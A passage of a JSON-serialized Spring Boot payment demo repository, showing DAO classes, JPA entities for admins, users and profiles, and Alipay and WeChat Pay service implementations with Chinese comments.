last) {\n\t\tthis.last = last;\n\t}\n\n\tpublic Integer getPageCount() {\n\t\treturn pageCount;\n\t}\n\n\tpublic void setPageCount(Integer pageCount) {\n\t\tthis.pageCount = pageCount;\n\t}\n\n\tpublic Integer getNext() {\n\t\treturn next;\n\t}\n\n\tpublic void setNext(Integer next) {\n\t\tthis.next = next;\n\t}\n\n\tpublic Integer getPageNumber() {\n\t\treturn pageNumber;\n\t}\n\n\tpublic void setPageNumber(Integer pageNumber) {\n\t\tthis.pageNumber = pageNumber;\n\t}\n\n\tpublic Integer getPageSize() {\n\t\treturn pageSize == null ? 10 : pageSize;\n\t}\n\n\tpublic void setPageSize(Integer pageSize) {\n\t\tthis.pageSize = pageSize;\n\t}\n\n\tpublic Integer getPrevious() {\n\t\treturn previous;\n\t}\n\n\tpublic void setPrevious(Integer previous) {\n\t\tthis.previous = previous;\n\t}\n\n\tpublic List<T> getContents() {\n\t\treturn contents;\n\t}\n\n\tpublic void setContents(List<T> contents) {\n\t\tthis.contents = contents;\n\t}\n\n\tpublic Integer getCount() {\n\t\treturn count;\n\t}\n\n\tpublic void setCount(Integer count) {\n\t\tthis.count = count;\n\t}\n\n\tpublic List<Integer> getIndexs() {\n\t\treturn indexs;\n\t}\n\n\tpublic void setIndexs(List<Integer> indexs) {\n\t\tthis.indexs = indexs;\n\t}\n\n\tpublic Integer getPosition() {\n\t\treturn position == null ? 0 : position;\n\t}\n\n\tpublic void setPosition(Integer position) {\n\t\tthis.position = position;\n\t}\n\n\tpublic String getOrderBys() {\n\t\treturn orderBys;\n\t}\n\n\tpublic void setOrderBys(String orderBys) {\n\t\tthis.orderBys = orderBys;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/dao/impl/AdminDaoImpl.java",
    "content": "package com.springboot.dao.impl;\n\nimport org.springframework.stereotype.Repository;\n\nimport com.springboot.dao.BaseDao;\nimport com.springboot.dao.IAdminDao;\nimport com.springboot.model.Admin;\n\n@Repository\npublic class AdminDaoImpl extends BaseDao<Admin> implements IAdminDao {\n\n\t@Override\n\tpublic Admin find(Integer id) {\n\t\treturn findFirstByHql(\"from Admin where id=?\", id);\n\t}\n\n\t@Override\n\tpublic String userName(Integer id) {\n\t\treturn queryStr(\"select userName from admin where id=?\", id);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/dao/impl/UserDaoimpl.java",
    "content": "package com.springboot.dao.impl;\n\nimport org.springframework.stereotype.Repository;\n\nimport com.springboot.dao.BaseDao;\nimport com.springboot.dao.IUserDao;\nimport com.springboot.model.User;\n\n@Repository\npublic class UserDaoimpl extends BaseDao<User> implements IUserDao {\n\n\t@Override\n\tpublic void add(User user) {\n\t\tsave(user);\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/dao/impl/UserProfileDaoImpl.java",
    "content": "package com.springboot.dao.impl;\n\nimport org.springframework.stereotype.Repository;\n\nimport com.springboot.dao.BaseDao;\nimport com.springboot.dao.IUserProfileDao;\nimport com.springboot.model.UserProfile;\n\n@Repository\npublic class UserProfileDaoImpl extends BaseDao<UserProfile> implements IUserProfileDao {\n\n\t@Override\n\tpublic void add(UserProfile userProfile) {\n\t\tsave(userProfile);\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/interceptor/MyInterceptor1.java",
    "content": "package com.springboot.interceptor;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.springframework.web.servlet.HandlerInterceptor;\nimport org.springframework.web.servlet.ModelAndView;\n\npublic class MyInterceptor1 implements HandlerInterceptor {\n\n\t@Override\n\tpublic void afterCompletion(HttpServletRequest arg0, HttpServletResponse arg1, Object arg2, Exception arg3)\n\t\t\tthrows Exception {\n\n\t}\n\n\t@Override\n\tpublic void postHandle(HttpServletRequest arg0, HttpServletResponse arg1, Object arg2, ModelAndView arg3)\n\t\t\tthrows Exception {\n\t\t// TODO Auto-generated method stub\n\n\t}\n\n\t@Override\n\tpublic boolean preHandle(HttpServletRequest arg0, HttpServletResponse arg1, Object arg2) throws Exception {\n\n\t\treturn true;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/listener/MyServletContextListener.java",
    "content": "package com.springboot.listener;\n\nimport javax.servlet.ServletContextEvent;\nimport javax.servlet.ServletContextListener;\nimport javax.servlet.annotation.WebListener;\n\nimport com.springboot.util.PropKit;\n\n@WebListener\npublic class MyServletContextListener implements ServletContextListener {\n\tprivate static org.apache.log4j.Logger logger = org.apache.log4j.Logger.getLogger(MyServletContextListener.class);\n\n\t@Override\n\tpublic void contextInitialized(ServletContextEvent arg0) {\n\t\t// 初始化系统文件\n\t\tPropKit.use(\"pay-info.properties\");\n\t\tlogger.info(\"liting: contextInitialized\");\n\t}\n\n\t@Override\n\tpublic void contextDestroyed(ServletContextEvent arg0) {\n\t\tlogger.info(\"liting: contextDestroyed\");\n\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/model/Admin.java",
    "content": "package com.springboot.model;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\nimport com.fasterxml.jackson.annotation.JsonIdentityInfo;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.ObjectIdGenerators;\n\n@JsonIdentityInfo(generator = ObjectIdGenerators.PropertyGenerator.class, property = \"id\")\n@JsonIgnoreProperties(value = { \"hibernateLazyInitializer\", \"handler\", \"JavassistLazyInitializer\" })\n@Entity\n@Table(name = \"admin\")\npublic class Admin implements Serializable {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\t@Column(name = \"id\")\n\tprivate Integer id;\n\t@Column(name = \"userName\")\n\tprivate String userName;\n\t@Column(name = \"password\")\n\tprivate String password;\n\t@Column(name = \"status\")\n\tprivate Integer status;\n\t@Column(name = \"email\")\n\tprivate String email;\n\t@Column(name = \"role\")\n\tprivate Integer role;\n\t@Column(name = \"lastLogin\")\n\tprivate Date lastLogin;\n\t@Column(name = \"lastIp\")\n\tprivate String lastIp;\n\t@Column(name = \"created\")\n\tprivate Date created;\n\t@Column(name = \"updated\")\n\tprivate Date updated;\n\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.AUTO)\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\n\t@Column(name = \"userName\")\n\tpublic String getUserName() {\n\t\treturn userName;\n\t}\n\n\tpublic void setUserName(String userName) {\n\t\tthis.userName = userName;\n\t}\n\n\t@Column(name = \"password\")\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\n\t@Column(name = \"status\")\n\tpublic Integer getStatus() {\n\t\treturn status;\n\t}\n\n\tpublic void setStatus(Integer status) {\n\t\tthis.status = status;\n\t}\n\n\t@Column(name = \"email\")\n\tpublic String getEmail() {\n\t\treturn email;\n\t}\n\n\tpublic void setEmail(String email) {\n\t\tthis.email = email;\n\t}\n\n\t@Column(name = \"role\")\n\tpublic Integer getRole() {\n\t\treturn role;\n\t}\n\n\tpublic void setRole(Integer role) {\n\t\tthis.role = role;\n\t}\n\n\t@Column(name = \"lastLogin\")\n\tpublic Date getLastLogin() {\n\t\treturn lastLogin;\n\t}\n\n\tpublic void setLastLogin(Date lastLogin) {\n\t\tthis.lastLogin = lastLogin;\n\t}\n\n\t@Column(name = \"lastIp\")\n\tpublic String getLastIp() {\n\t\treturn lastIp;\n\t}\n\n\tpublic void setLastIp(String lastIp) {\n\t\tthis.lastIp = lastIp;\n\t}\n\n\t@Column(name = \"created\")\n\tpublic Date getCreated() {\n\t\treturn created;\n\t}\n\n\tpublic void setCreated(Date created) {\n\t\tthis.created = created;\n\t}\n\n\t@Column(name = \"updated\")\n\tpublic Date getUpdated() {\n\t\treturn updated;\n\t}\n\n\tpublic void setUpdated(Date updated) {\n\t\tthis.updated = updated;\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/model/PayModel.java",
    "content": "package com.springboot.model;\n\nimport java.io.Serializable;\nimport java.math.BigDecimal;\n\npublic class PayModel implements Serializable {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\n\t/**\n\t * 订单编号\n\t */\n\tprivate String outTradeNno;\n\t/**\n\t * 商品信息\n\t */\n\tprivate String body;\n\t/**\n\t * 商品金额\n\t */\n\tprivate BigDecimal amount;\n\n\t/**\n\t * 客户端IP\n\t */\n\tprivate String ip;\n\n\tprivate String openId;\n\n\tpublic String getOpenId() {\n\t\treturn openId;\n\t}\n\n\tpublic void setOpenId(String openId) {\n\t\tthis.openId = openId;\n\t}\n\n\t/**\n\t * 商品标题\n\t */\n\tprivate String title;\n\n\tpublic String getTitle() {\n\t\treturn title;\n\t}\n\n\tpublic void setTitle(String title) {\n\t\tthis.title = title;\n\t}\n\n\tpublic String getOutTradeNno() {\n\t\treturn outTradeNno;\n\t}\n\n\tpublic void setOutTradeNno(String outTradeNno) {\n\t\tthis.outTradeNno = outTradeNno;\n\t}\n\n\tpublic String getBody() {\n\t\treturn body;\n\t}\n\n\tpublic void setBody(String body) {\n\t\tthis.body = body;\n\t}\n\n\tpublic BigDecimal getAmount() {\n\t\treturn amount;\n\t}\n\n\tpublic void setAmount(BigDecimal amount) {\n\t\tthis.amount = amount;\n\t}\n\n\tpublic String getIp() {\n\t\treturn ip;\n\t}\n\n\tpublic void setIp(String ip) {\n\t\tthis.ip = ip;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/model/User.java",
    "content": "package com.springboot.model;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\nimport com.fasterxml.jackson.annotation.JsonIdentityInfo;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.ObjectIdGenerators;\n\n@JsonIdentityInfo(generator = ObjectIdGenerators.PropertyGenerator.class, property = \"id\")\n@JsonIgnoreProperties(value = { \"hibernateLazyInitializer\", \"handler\", \"JavassistLazyInitializer\" })\n@Entity\n@Table(name = \"user\")\npublic class User implements Serializable {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\n\t@Column(name = \"id\")\n\tprivate Integer id;\n\t@Column(name = \"userId\")\n\tprivate String userId;\n\t@Column(name = \"telephone\")\n\tprivate String telephone;\n\t@Column(name = \"password\")\n\tprivate String password;\n\t@Column(name = \"status\")\n\tprivate Integer status;\n\t@Column(name = \"lastLogin\")\n\tprivate Date lastLogin;\n\t@Column(name = \"created\")\n\tprivate Date created;\n\t@Column(name = \"updated\")\n\tprivate Date updated;\n\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.AUTO)\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getUserId() {\n\t\treturn userId;\n\t}\n\n\tpublic void setUserId(String userId) {\n\t\tthis.userId = userId;\n\t}\n\n\tpublic String getTelephone() {\n\t\treturn telephone;\n\t}\n\n\tpublic void setTelephone(String telephone) {\n\t\tthis.telephone = telephone;\n\t}\n\n\tpublic String getPassword() {\n\t\treturn password;\n\t}\n\n\tpublic void setPassword(String password) {\n\t\tthis.password = password;\n\t}\n\n\tpublic Integer getStatus() {\n\t\treturn status;\n\t}\n\n\tpublic void setStatus(Integer status) {\n\t\tthis.status = status;\n\t}\n\n\tpublic Date getLastLogin() {\n\t\treturn lastLogin;\n\t}\n\n\tpublic void setLastLogin(Date lastLogin) {\n\t\tthis.lastLogin = lastLogin;\n\t}\n\n\tpublic Date getCreated() {\n\t\treturn created;\n\t}\n\n\tpublic void setCreated(Date created) {\n\t\tthis.created = created;\n\t}\n\n\tpublic Date getUpdated() {\n\t\treturn updated;\n\t}\n\n\tpublic void setUpdated(Date updated) {\n\t\tthis.updated = updated;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/model/UserProfile.java",
    "content": "package com.springboot.model;\n\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport javax.persistence.Column;\nimport javax.persistence.Entity;\nimport javax.persistence.GeneratedValue;\nimport javax.persistence.GenerationType;\nimport javax.persistence.Id;\nimport javax.persistence.Table;\n\nimport com.fasterxml.jackson.annotation.JsonIdentityInfo;\nimport com.fasterxml.jackson.annotation.JsonIgnoreProperties;\nimport com.fasterxml.jackson.annotation.ObjectIdGenerators;\n\n@JsonIdentityInfo(generator = ObjectIdGenerators.PropertyGenerator.class, property = \"id\")\n@JsonIgnoreProperties(value = { \"hibernateLazyInitializer\", \"handler\", \"JavassistLazyInitializer\" })\n@Entity\n@Table(name = \"user_profile\")\npublic class UserProfile implements Serializable {\n\n\t/**\n\t * \n\t */\n\tprivate static final long serialVersionUID = 1L;\n\t@Column(name = \"id\")\n\tprivate Integer id;\n\t@Column(name = \"userId\")\n\tprivate String userId;\n\t@Column(name = \"gender\")\n\tprivate Integer gender;\n\t@Column(name = \"smallImg\")\n\tprivate String smallImg;\n\t@Column(name = \"bigImg\")\n\tprivate String bigImg;\n\t@Column(name = \"nickName\")\n\tprivate String nickName;\n\t@Column(name = \"appSystem\")\n\tprivate String appSystem;\n\t@Column(name = \"appVersion\")\n\tprivate String appVersion;\n\t@Column(name = \"appChannel\")\n\tprivate String appChannel;\n\t@Column(name = \"openPush\")\n\tprivate Integer openPush;\n\t@Column(name = \"stint\")\n\tprivate Integer stint;\n\t@Column(name = \"created\")\n\tprivate Date created;\n\t@Column(name = \"updated\")\n\tprivate Date updated;\n\t@Column(name = \"qq\")\n\tprivate String qq;\n\t@Column(name = \"email\")\n\tprivate String email;\n\t@Column(name = \"intro\")\n\tprivate String intro;\n\t@Column(name = \"isAuth\")\n\tprivate Integer isAuth;\n\n\tpublic Integer getIsAuth() {\n\t\treturn isAuth;\n\t}\n\n\tpublic void setIsAuth(Integer isAuth) {\n\t\tthis.isAuth = isAuth;\n\t}\n\n\tpublic String getIntro() {\n\t\treturn intro;\n\t}\n\n\tpublic void setIntro(String intro) {\n\t\tthis.intro = intro;\n\t}\n\n\tpublic String getQq() {\n\t\treturn qq;\n\t}\n\n\tpublic String getEmail() {\n\t\treturn email;\n\t}\n\n\tpublic void setQq(String qq) {\n\t\tthis.qq = qq;\n\t}\n\n\tpublic void setEmail(String email) {\n\t\tthis.email = email;\n\t}\n\n\t@Id\n\t@GeneratedValue(strategy = GenerationType.AUTO)\n\tpublic Integer getId() {\n\t\treturn id;\n\t}\n\n\tpublic void setId(Integer id) {\n\t\tthis.id = id;\n\t}\n\n\tpublic String getUserId() {\n\t\treturn userId;\n\t}\n\n\tpublic void setUserId(String userId) {\n\t\tthis.userId = userId;\n\t}\n\n\tpublic Integer getGender() {\n\t\treturn gender;\n\t}\n\n\tpublic void setGender(Integer gender) {\n\t\tthis.gender = gender;\n\t}\n\n\tpublic String getSmallImg() {\n\t\treturn smallImg;\n\t}\n\n\tpublic void setSmallImg(String smallImg) {\n\t\tthis.smallImg = smallImg;\n\t}\n\n\tpublic String getBigImg() {\n\t\treturn bigImg;\n\t}\n\n\tpublic void setBigImg(String bigImg) {\n\t\tthis.bigImg = bigImg;\n\t}\n\n\tpublic String getNickName() {\n\t\treturn nickName;\n\t}\n\n\tpublic void setNickName(String nickName) {\n\t\tthis.nickName = nickName;\n\t}\n\n\tpublic String getAppSystem() {\n\t\treturn appSystem;\n\t}\n\n\tpublic void setAppSystem(String appSystem) {\n\t\tthis.appSystem = appSystem;\n\t}\n\n\tpublic String getAppVersion() {\n\t\treturn appVersion;\n\t}\n\n\tpublic void setAppVersion(String appVersion) {\n\t\tthis.appVersion = appVersion;\n\t}\n\n\tpublic String getAppChannel() {\n\t\treturn appChannel;\n\t}\n\n\tpublic void setAppChannel(String appChannel) {\n\t\tthis.appChannel = appChannel;\n\t}\n\n\tpublic Integer getOpenPush() {\n\t\treturn openPush;\n\t}\n\n\tpublic void setOpenPush(Integer openPush) {\n\t\tthis.openPush = openPush;\n\t}\n\n\tpublic Integer getStint() {\n\t\treturn stint;\n\t}\n\n\tpublic void setStint(Integer stint) {\n\t\tthis.stint = stint;\n\t}\n\n\tpublic Date getCreated() {\n\t\treturn created;\n\t}\n\n\tpublic void setCreated(Date created) {\n\t\tthis.created = created;\n\t}\n\n\tpublic Date getUpdated() {\n\t\treturn updated;\n\t}\n\n\tpublic void setUpdated(Date updated) {\n\t\tthis.updated = updated;\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/service/IAliService.java",
    "content": "package com.springboot.service;\n\nimport com.springboot.model.PayModel;\n\npublic interface IAliService {\n\n\tpublic String h5Pay(PayModel payModel);\n\n\tpublic String qrCodePay(PayModel payModel) throws Exception;\n\n\tpublic String pcPay(PayModel payModel);\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/service/IWxService.java",
    "content": "package com.springboot.service;\n\nimport com.springboot.model.PayModel;\n\npublic interface IWxService {\n\n\tpublic String wxQrCode(PayModel payModel) throws Exception;\n\n\tpublic String wxJssdkPay(PayModel payModel) throws Exception;\n\n\tpublic String h5Pay(PayModel payModel) throws Exception;\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/service/impl/AliServiceImpl.java",
    "content": "package com.springboot.service.impl;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport org.apache.log4j.Logger;\nimport org.springframework.stereotype.Service;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.alipay.api.AlipayApiException;\nimport com.alipay.api.domain.AlipayTradeWapPayModel;\nimport com.alipay.api.request.AlipayTradePagePayRequest;\nimport com.alipay.api.request.AlipayTradePrecreateRequest;\nimport com.alipay.api.request.AlipayTradeWapPayRequest;\nimport com.alipay.api.response.AlipayTradePrecreateResponse;\nimport com.springboot.model.PayModel;\nimport com.springboot.service.IAliService;\nimport com.springboot.util.AliPayUtil;\nimport com.springboot.util.PropKit;\n\n/**\n * 支付宝支付\n * \n * @author lenovo\n *\n */\n@Service\npublic class AliServiceImpl implements IAliService {\n\n\tprivate static final Logger logger = Logger.getLogger(AliServiceImpl.class);\n\n\t/**\n\t * 支付宝H5支付\n\t */\n\t@Override\n\tpublic String h5Pay(PayModel payModel) {\n\t\ttry {\n\n\t\t\tAlipayTradeWapPayRequest alipay_request = new AlipayTradeWapPayRequest();\n\n\t\t\t// 封装请求支付信息\n\t\t\tAlipayTradeWapPayModel model = new AlipayTradeWapPayModel();\n\t\t\tmodel.setOutTradeNo(payModel.getOutTradeNno());\n\t\t\tmodel.setSubject(payModel.getBody());\n\t\t\tmodel.setTotalAmount(payModel.getAmount().toString());\n\t\t\tmodel.setBody(payModel.getBody());\n\t\t\tmodel.setProductCode(\"QUICK_WAP_WAY\");\n\t\t\talipay_request.setBizModel(model);\n\t\t\t// 设置异步通知地址\n\t\t\talipay_request.setNotifyUrl(PropKit.get(\"alipay.pay.notify.url\"));\n\t\t\t// 设置同步地址\n\t\t\talipay_request.setReturnUrl(PropKit.get(\"alipay.pay.pc.success.url\"));\n\t\t\t// 调用SDK生成表单\n\t\t\treturn AliPayUtil.geAlipayClient().pageExecute(alipay_request).getBody();\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlogger.error(e.getMessage(), e);\n\t\t\tnew RuntimeException(e);\n\t\t}\n\t\treturn null;\n\t}\n\n\t/**\n\t * 支付宝扫码支付\n\t */\n\t@Override\n\tpublic String qrCodePay(PayModel payModel) {\n\t\ttry {\n\n\t\t\tAlipayTradePrecreateRequest request = new AlipayTradePrecreateRequest();\n\t\t\tMap<String, Object> map = new HashMap<String, Object>();\n\t\t\tmap.put(\"out_trade_no\", payModel.getOutTradeNno());// 订单号\n\t\t\tmap.put(\"total_amount\", payModel.getAmount().toString());// 交易金额,单位:元\n\t\t\tmap.put(\"subject\", payModel.getBody());// 订单标题\n\t\t\trequest.setBizContent(JSON.toJSONString(map));\n\t\t\t// 设置异步通知地址\n\t\t\trequest.setNotifyUrl(PropKit.get(\"alipay.pay.notify.url\"));\n\t\t\t// 设置同步地址\n\t\t\trequest.setReturnUrl(PropKit.get(\"alipay.pay.pc.success.url\"));\n\t\t\tAlipayTradePrecreateResponse response = AliPayUtil.geAlipayClient().execute(request);\n\t\t\tif (!response.isSuccess()) {\n\t\t\t\tlogger.info(String.format(\"---------------订单号为%s的扫码支付：链接生成失败！-------------------\",\n\t\t\t\t\t\tpayModel.getOutTradeNno()));\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\tJSONObject json = JSON.parseObject(response.getBody());\n\t\t\tJSONObject result = JSON.parseObject(json.getString(\"alipay_trade_precreate_response\"));\n\t\t\tSystem.out.println(result);\n\t\t\treturn result.getString(\"qr_code\");\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlogger.error(e.getMessage(), e);\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\n\t}\n\n\t/**\n\t * pc网页支付\n\t */\n\t@Override\n\tpublic String pcPay(PayModel payModel) {\n\t\ttry {\n\n\t\t\tAlipayTradePagePayRequest alipayRequest = new AlipayTradePagePayRequest();// 创建API对应的request\n\t\t\t// 设置异步通知地址\n\t\t\talipayRequest.setNotifyUrl(PropKit.get(\"alipay.pay.notify.url\"));\n\t\t\t// 设置同步地址\n\t\t\talipayRequest.setReturnUrl(PropKit.get(\"alipay.pay.pc.success.url\"));\n\n\t\t\tMap<String, Object> hashMap = new HashMap<String, Object>();\n\t\t\thashMap.put(\"out_trade_no\", payModel.getOutTradeNno());\n\t\t\thashMap.put(\"product_code\", \"FAST_INSTANT_TRADE_PAY\");\n\t\t\thashMap.put(\"total_amount\", payModel.getAmount().toString());\n\t\t\thashMap.put(\"subject\", payModel.getBody());\n\n\t\t\tString form = \"\";\n\t\t\ttry {\n\t\t\t\tform = AliPayUtil.geAlipayClient().pageExecute(alipayRequest).getBody(); // 调用SDK生成表单\n\t\t\t} catch (AlipayApiException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t\treturn form;\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tlogger.error(e.getMessage(), e);\n\t\t\tthrow new RuntimeException(e);\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/service/impl/WxServiceImpl.java",
    "content": "package com.springboot.service.impl;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\nimport java.util.Map;\nimport java.util.SortedMap;\n\nimport org.apache.log4j.Logger;\nimport org.springframework.stereotype.Service;\n\nimport com.springboot.model.PayModel;\nimport com.springboot.service.IWxService;\nimport com.springboot.util.BigDecimalUtil;\nimport com.springboot.util.HttpKit;\nimport com.springboot.util.PropKit;\nimport com.springboot.util.WxPayUtil;\nimport com.springboot.util.XMLUtil;\n\n/**\n * 微信支付\n * \n * @author lenovo\n *\n */\n@Service\npublic class WxServiceImpl implements IWxService {\n\n\tprivate static final Logger logger = Logger.getLogger(WxServiceImpl.class);\n\n\t/**\n\t * 微信扫码支付\n\t */\n\t@Override\n\tpublic String wxQrCode(PayModel payModel) throws Exception {\n\t\tString currTime = WxPayUtil.getCurrTime();\n\t\tString strTime = currTime.substring(8, currTime.length());\n\t\tString strRandom = WxPayUtil.buildRandom(4) + \"\";\n\t\t// 随机字符串\n\t\tString nonce_str = strTime + strRandom;\n\t\t// 交易类型\n\t\t// JSAPI--公众号支付、NATIVE--原生扫码支付、APP--app支付，统一下单接口trade_type的传参可参考这里\n\t\t// MICROPAY--刷卡支付，刷卡支付有单独的支付接口，不调用统一下单接口\n\t\tString trade_type = \"NATIVE\";\n\t\tString time_start = new SimpleDateFormat(\"yyyyMMddHHmmss\").format(new Date());\n\t\tCalendar ca = Calendar.getInstance();\n\t\tca.setTime(new Date());\n\t\tca.add(Calendar.DATE, 1);\n\t\tString time_expire = new SimpleDateFormat(\"yyyyMMddHHmmss\").format(ca.getTime());\n\t\tSortedMap<Object, Object> packageParams = WxPayUtil.createWxParam(PropKit.get(\"weixin.pay.appid\"),\n\t\t\t\tPropKit.get(\"weixin.pay.mchid\"), nonce_str, PropKit.get(\"weixin.pay.notify_url\"), trade_type);\n\t\tpackageParams.put(\"body\", payModel.getBody());\n\t\tpackageParams.put(\"out_trade_no\", payModel.getOutTradeNno());\n\t\tpackageParams.put(\"total_fee\", BigDecimalUtil.mul(payModel.getAmount().toString(), \"100\").intValue());\n\t\tpackageParams.put(\"spbill_create_ip\", payModel.getIp());\n\t\tpackageParams.put(\"time_start\", time_start);\n\t\tpackageParams.put(\"time_expire\", time_expire);\n\t\tString sign = WxPayUtil.createSign(\"UTF-8\", packageParams, PropKit.get(\"weixin.pay.key\"));\n\t\tpackageParams.put(\"sign\", sign);\n\t\tString requestXML = WxPayUtil.getRequestXml(packageParams);\n\t\tSystem.out.println(\"请求xml：：：：\" + requestXML);\n\t\tString resXml = HttpKit.post(PropKit.get(\"weixin.pay.pay_url\"), requestXML);\n\t\tSystem.out.println(\"返回xml：：：：\" + resXml);\n\t\tMap map = XMLUtil.doXMLParse(resXml);\n\t\tString urlCode = (String) map.get(\"code_url\");\n\t\tSystem.out.println(\"打印调用统一下单接口生成二维码url:::::\" + urlCode);\n\t\treturn urlCode;\n\t}\n\n\t/**\n\t * 微信 公众号支付\n\t */\n\t@Override\n\tpublic String wxJssdkPay(PayModel payModel) throws Exception {\n\t\tString currTime = WxPayUtil.getCurrTime();\n\t\tString strTime = currTime.substring(8, currTime.length());\n\t\tString strRandom = WxPayUtil.buildRandom(4) + \"\";\n\t\t// 随机字符串\n\t\tString nonce_str = strTime + strRandom;\n\t\t// 交易类型\n\t\t// JSAPI--公众号支付、NATIVE--原生扫码支付、APP--app支付，统一下单接口trade_type的传参可参考这里\n\t\t// MICROPAY--刷卡支付，刷卡支付有单独的支付接口，不调用统一下单接口\n\t\tString trade_type = \"JSAPI\";\n\t\tString time_start = new SimpleDateFormat(\"yyyyMMddHHmmss\").format(new Date());\n\t\tCalendar ca = Calendar.getInstance();\n\t\tca.setTime(new Date());\n\t\tca.add(Calendar.DATE, 1);\n\t\tString time_expire = new SimpleDateFormat(\"yyyyMMddHHmmss\").format(ca.getTime());\n\t\tSortedMap<Object, Object> packageParams = WxPayUtil.createWxParam(PropKit.get(\"weixin.pay.appid\"),\n\t\t\t\tPropKit.get(\"weixin.pay.mchid\"), nonce_str, PropKit.get(\"weixin.pay.notify_url\"), trade_type);\n\t\tpackageParams.put(\"body\", payModel.getBody());\n\t\tpackageParams.put(\"out_trade_no\", payModel.getOutTradeNno());\n\t\tpackageParams.put(\"total_fee\", BigDecimalUtil.mul(payModel.getAmount().toString(), \"100\").intValue());\n\t\tpackageParams.put(\"spbill_create_ip\", payModel.getIp());\n\t\tpackageParams.put(\"time_start\", time_start);\n\t\tpackageParams.put(\"time_expire\", time_expire);\n\t\tpackageParams.put(\"openid\", payModel.getOpenId());\n\t\tpackageParams.put(\"sign_type\", \"MD5\");\n\t\tString sign = WxPayUtil.createSign(\"UTF-8\", packageParams, PropKit.get(\"weixin.pay.key\"));\n\t\tpackageParams.put(\"sign\", sign);\n\t\tString requestXML = WxPayUtil.getRequestXml(packageParams);\n\t\tSystem.out.println(\"请求xml：：：：\" + requestXML);\n\t\tString resXml = HttpKit.post(PropKit.get(\"weixin.pay.pay_url\"), requestXML);\n\t\tSystem.out.println(\"返回xml：：：：\" + resXml);\n\t\treturn resXml;\n\t}\n\n\t/**\n\t * 微信H5支付\n\t */\n\t@Override\n\tpublic String h5Pay(PayModel payModel) throws Exception {\n\t\ttry {\n\t\t\tString currTime = WxPayUtil.getCurrTime();\n\t\t\tString strTime = currTime.substring(8, currTime.length());\n\t\t\tString strRandom = WxPayUtil.buildRandom(4) + \"\";\n\t\t\t// 随机字符串\n\t\t\tString nonce_str = strTime + strRandom;\n\t\t\t// 交易类型\n\t\t\t// JSAPI--公众号支付、NATIVE--原生扫码支付、APP--app支付，统一下单接口trade_type的传参可参考这里\n\t\t\t// MICROPAY--刷卡支付，刷卡支付有单独的支付接口，不调用统一下单接口\n\t\t\tString trade_type = \"MWEB\";\n\t\t\tString time_start = new SimpleDateFormat(\"yyyyMMddHHmmss\").format(new Date());\n\t\t\tCalendar ca = Calendar.getInstance();\n\t\t\tca.setTime(new Date());\n\t\t\tca.add(Calendar.DATE, 1);\n\t\t\tString time_expire = new SimpleDateFormat(\"yyyyMMddHHmmss\").format(ca.getTime());\n\t\t\tSortedMap<Object, Object> packageParams = WxPayUtil.createWxParam(PropKit.get(\"weixin.pay.appid\"),\n\t\t\t\t\tPropKit.get(\"weixin.pay.mchid\"), nonce_str, PropKit.get(\"weixin.pay.notify_url\"), trade_type);\n\t\t\tpackageParams.put(\"body\", payModel.getBody());\n\t\t\tpackageParams.put(\"out_trade_no\", 